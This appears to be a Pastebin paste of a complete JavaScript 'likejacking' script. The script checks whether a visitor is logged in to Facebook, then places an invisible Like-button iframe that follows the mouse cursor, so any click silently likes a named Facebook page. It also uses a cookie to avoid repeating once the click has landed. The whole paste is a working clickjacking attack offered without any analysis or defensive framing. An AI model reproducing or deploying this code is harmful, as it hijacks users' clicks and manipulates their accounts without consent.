Advertisement
Guest User

Untitled

a guest
Oct 11th, 2013
1,023
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.84 KB | None | 0 0
  1. function setCookie(c_name,value,exdays) {
  2. var exdate=new Date();
  3. exdate.setDate(exdate.getDate() + exdays);
  4. var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
  5. document.cookie=c_name + "=" + c_value;
  6. }
  7.  
  8. function getCookie(c_name) {
  9. var i,x,y,ARRcookies=document.cookie.split(";");
  10. for (i=0;i<ARRcookies.length;i++) {
  11. x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  12. y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  13. x=x.replace(/^\s+|\s+$/g,"");
  14. if (x==c_name) {
  15. return unescape(y);
  16. }
  17. }
  18. }
  19.  
  20. var total = "1";
  21. var time = "365";
  22.  
  23. var accounts = getCookie("number");
  24. var plus = parseInt(getCookie("number")) + parseInt(1);
  25.  
  26. switch (accounts) {
  27. default:
  28. var account = "http://www.facebook.com/RinconAbstracto";
  29. break;
  30. case total:
  31. var ready = true;
  32. break;
  33. }
  34.  
  35. var interval;
  36. var iflag;
  37. var icontainer;
  38. var standardbody;
  39.  
  40. if (ready == true) {
  41. } else {
  42. window.fbAsyncInit = function(){
  43. FB.init({ appId:'432296140140060', status:true, cookie:true, xfbml:true});
  44. FB.getLoginStatus(function(response){
  45. if (response.status != "unknown")
  46. {
  47. jQuery(function () {
  48. jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
  49. iflag = 0;
  50. icontainer = document.getElementById('icontainer');
  51. standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
  52. interval = setInterval("updateActiveElement();", 50);
  53. });
  54. }
  55. });
  56. };
  57. // Load the SDK Asynchronously
  58. (function(d){
  59. var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
  60. js = d.createElement('script'); js.id = id; js.async = true;
  61. js.src = "//connect.facebook.net/en_US/all.js";
  62. d.getElementsByTagName('head')[0].appendChild(js);
  63. }(document));
  64. jQuery("html").bind('mousemove', function (e) {
  65. if (iflag == 0) {
  66. var x = e.pageX - 5;
  67. var y = e.pageY;
  68. //console.log("X: " + x + " AND Y: " + y);
  69. jQuery(icontainer).css('top', y).css('left', x);
  70. }
  71. });
  72. }
  73.  
  74. function updateActiveElement() {
  75. if (jQuery(document.activeElement).attr('id') == "werunthenite") {
  76. setTimeout('$("#icontainer").remove();', 500);
  77. if (typeof accounts === 'undefined') {
  78. setCookie("number","1",time);
  79. } else {
  80. setCookie("number",plus,time)
  81. }
  82. var flag = 0;
  83. clearInterval(interval);
  84. iflag = 1;
  85. if (flag != 0) document.location = "";
  86. }
  87. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement